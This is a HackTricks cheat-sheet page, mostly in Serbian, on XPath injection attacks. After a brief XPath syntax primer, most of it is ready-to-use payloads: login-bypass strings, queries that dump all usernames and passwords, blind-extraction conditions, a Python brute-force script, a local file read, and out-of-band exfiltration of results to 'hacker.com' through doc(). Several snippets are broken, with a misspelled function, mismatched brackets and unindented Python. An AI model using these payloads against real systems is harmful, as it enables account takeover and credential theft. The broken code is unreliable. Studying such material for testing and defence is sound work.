hacktricks/pentesting-web/xpath-injection.md

13 KiB

XPATH ubacivanje

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Pridružite se HackenProof Discord serveru kako biste komunicirali sa iskusnim hakerima i lovcima na bagove!

Hakerski uvidi
Uključite se u sadržaj koji istražuje uzbuđenje i izazove hakovanja

Vesti o hakovanju u realnom vremenu
Budite u toku sa brzim svetom hakovanja kroz vesti i uvide u realnom vremenu

Poslednje objave
Budite informisani o najnovijim nagradama za pronalaženje bagova i važnim ažuriranjima platformi

Pridružite nam se na Discord-u i počnite da sarađujete sa vrhunskim hakerima danas!

Osnovna sintaksa

Tehnika napada poznata kao XPath Injection se koristi za iskorišćavanje aplikacija koje formiraju XPath (XML Path Language) upite na osnovu korisničkog unosa radi upita ili navigacije XML dokumenata.

Opisane čvorove

Izrazi se koriste za izbor različitih čvorova u XML dokumentu. Ovi izrazi i njihovi opisi su sumirani u nastavku:

  • nodename: Izabrani su svi čvorovi sa imenom "nodename".
  • /: Izbor se vrši od korenskog čvora.
  • //: Izabrani su čvorovi koji se podudaraju sa selekcijom od trenutnog čvora, bez obzira na njihovu lokaciju u dokumentu.
  • .: Izabran je trenutni čvor.
  • ..: Izabran je roditelj trenutnog čvora.
  • @: Izabrani su atributi.

Primeri XPath-a

Primeri putanja izraza i njihovi rezultati uključuju:

  • bookstore: Izabrani su svi čvorovi nazvani "bookstore".
  • /bookstore: Izabran je korenski element bookstore. Napomenuto je da se apsolutna putanja do elementa predstavlja putanjom koja počinje kosom crtom (/).
  • bookstore/book: Izabrani su svi čvorovi knjiga koji su deca bookstore-a.
  • //book: Izabrane su sve knjige u dokumentu, bez obzira na njihovu lokaciju.
  • bookstore//book: Izabrane su sve knjige koje su potomci elementa bookstore, bez obzira na njihov položaj ispod elementa bookstore.
  • //@lang: Izabrani su svi atributi nazvani lang.

Korišćenje predikata

Predikati se koriste za preciziranje selekcija:

  • /bookstore/book[1]: Izabran je prvi čvor knjige dete elementa bookstore. Radno rešenje za IE verzije 5 do 9, koje indeksiraju prvi čvor kao [0], je postavljanje SelectionLanguage na XPath putem JavaScript-a.
  • /bookstore/book[last()]: Izabrana je poslednja knjiga dete elementa bookstore.
  • /bookstore/book[last()-1]: Izabrana je predposlednja knjiga dete elementa bookstore.
  • /bookstore/book[position()<3]: Izabrane su prve dve knjige dete elementa bookstore.
  • //title[@lang]: Izabrani su svi naslovi sa atributom lang.
  • //title[@lang='en']: Izabrani su svi naslovi sa vrednošću atributa "lang" jednog "en".
  • /bookstore/book[price>35.00]: Izabrane su sve knjige elementa bookstore sa cenom većom od 35.00.
  • /bookstore/book[price>35.00]/title: Izabrani su svi naslovi knjiga elementa bookstore sa cenom većom od 35.00.

Postupanje sa nepoznatim čvorovima

Zvezdice se koriste za podudaranje nepoznatih čvorova:

  • *: Podudara se sa bilo kojim element čvorom.
  • @*: Podudara se sa bilo kojim atributnim čvorom.
  • node(): Podudara se sa bilo kojim čvorom bilo kog tipa.

Dodatni primeri uključuju:

  • /bookstore/*: Bira sve čvorove deteta elementa bookstore.
  • //*: Bira sve elemente u dokumentu.
  • //title[@*]: Bira sve naslove sa bar jednim atributom bilo kog tipa.

Primer

<?xml version="1.0" encoding="ISO-8859-1"?>
<data>
<user>
<name>pepe</name>
<password>peponcio</password>
<account>admin</account>
</user>
<user>
<name>mark</name>
<password>m12345</password>
<account>regular</account>
</user>
<user>
<name>fino</name>
<password>fino2</password>
<account>regular</account>
</user>
</data>

Pristupanje informacijama

All names - [pepe, mark, fino]
name
//name
//name/node()
//name/child::node()
user/name
user//name
/user/name
//user/name

All values - [pepe, peponcio, admin, mark, ...]
//user/node()
//user/child::node()


Positions
//user[position()=1]/name #pepe
//user[last()-1]/name #mark
//user[position()=1]/child::node()[position()=2] #peponcio (password)

Functions
count(//user/node()) #3*3 = 9 (count all values)
string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4
substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a"

Identifikacija i krađa šeme

and count(/*) = 1 #root
and count(/*[1]/*) = 2 #count(root) = 2 (a,c)
and count(/*[1]/*[1]/*) = 1 #count(a) = 1 (b)
and count(/*[1]/*[1]/*[1]/*) = 0 #count(b) = 0
and count(/*[1]/*[2]/*) = 3 #count(c) = 3 (d,e,f)
and count(/*[1]/*[2]/*[1]/*) = 0 #count(d) = 0
and count(/*[1]/*[2]/*[2]/*) = 0 #count(e) = 0
and count(/*[1]/*[2]/*[3]/*) = 1 #count(f) = 1 (g)
and count(/*[1]/*[2]/*[3]/[1]*) = 0 #count(g) = 0

#The previous solutions are the representation of a schema like the following
#(at this stage we don't know the name of the tags, but jus the schema)
<root>
<a>
<b></b>
</a>
<c>
<d></d>
<e></e>
<f>
<h></h>
</f>
</c>
</root>

and name(/*[1]) = "root" #Confirm the name of the first tag is "root"
and substring(name(/*[1]/*[1]),1,1) = "a" #First char of name of tag `<a>` is "a"
and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 #Firts char of tag `<b>`is codepoint 105 ("i") (https://codepoints.net/)

#Stealing the schema via OOB
doc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))

Bypass autentifikacije

Primer upita:

string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';

OR zaobilaženje u korisniku i lozinci (isti podatak u oba)

' or '1'='1
" or "1"="1
' or ''='
" or ""="
string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text())

Select account
Select the account using the username and use one of the previous values in the password field

Zloupotreba null ubrizgavanja

Username: ' or 1]%00

Dvostruki ILI u korisničkom imenu ili u lozinci (važi sa samo 1 ranjivim poljem)

VAŽNO: Primetite da je "i" prva operacija koja se vrši.

Bypass with first match
(This requests are also valid without spaces)
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
string(//user[name/text()='' or true() or '' and password/text()='']/account/text())

Select account
'or string-length(name(.))<10 or' #Select account with length(name)<10
'or contains(name,'adm') or' #Select first account having "adm" in the name
'or contains(.,'adm') or' #Select first account having "adm" in the current value
'or position()=2 or' #Select 2º account
string(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text())

Select account (name known)
admin' or '
admin' or '1'='2
string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text())

Izvlačenje stringova

Izlaz sadrži stringove i korisnik može manipulisati vrednostima radi pretrage:

/user/username[contains(., '+VALUE+')]
') or 1=1 or (' #Get all names
') or 1=1] | //user/password[('')=(' #Get all names and passwords
') or 2=1] | //user/node()[('')=(' #Get all values
')] | //./node()[('')=(' #Get all values
')] | //node()[('')=(' #Get all values
') or 1=1] | //user/password[('')=(' #Get all names and passwords
')] | //password%00 #All names and passwords (abusing null injection)
')]/../*[3][text()!=(' #All the passwords
')] | //user/*[1] | a[(' #The ID of all users
')] | //user/*[2] | a[(' #The name of all users
')] | //user/*[3] | a[(' #The password of all users
')] | //user/*[4] | a[(' #The account of all users

Slepa eksploatacija

Dobijanje dužine vrednosti i izvlačenje putem poređenja:

' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4
' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a"

substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)

... and ( if ( $employee/role = 2 ) then error() else 0 )... #When error() is executed it rises an error and never returns a value

Python Primer

import requests, string

flag = ""
l = 0
alphabet = string.ascii_letters + string.digits + "{}_()"
for i in range(30):
r = requests.get("http://example.com?action=user&userid=2 and string-length(password)=" + str(i))
if ("TRUE_COND" in r.text):
l = i
break
print("[+] Password length: " + str(l))
for i in range(1, l + 1): #print("[i] Looking for char number " + str(i))
for al in alphabet:
r = requests.get("http://example.com?action=user&userid=2 and substring(password,"+str(i)+",1)="+al)
if ("TRUE_COND" in r.text):
flag += al
print("[+] Flag: " + flag)
break

Čitanje fajla

(substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127

Iskorišćavanje OOB-a

doc(concat("http://hacker.com/oob/", RESULTS))
doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))
doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username)))

#Instead of doc() you can use the function doc-available
doc-available(concat("http://hacker.com/oob/", RESULTS))
#the doc available will respond true or false depending if the doc exists,
#user not(doc-available(...)) to invert the result if you need to

Automatski alat

Reference

Pridružite se HackenProof Discord serveru kako biste komunicirali sa iskusnim hakerima i lovcima na bagove!

Uvidi u hakovanje
Uključite se u sadržaj koji istražuje uzbuđenje i izazove hakovanja

Vesti o hakovanju u realnom vremenu
Budite u toku sa dinamičnim svetom hakovanja kroz vesti i uvide u realnom vremenu

Poslednje najave
Budite informisani o najnovijim nagradama za pronalaženje bagova i važnim ažuriranjima platformi

Pridružite nam se na Discord-u i počnite da sarađujete sa vrhunskim hakerima danas!

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u: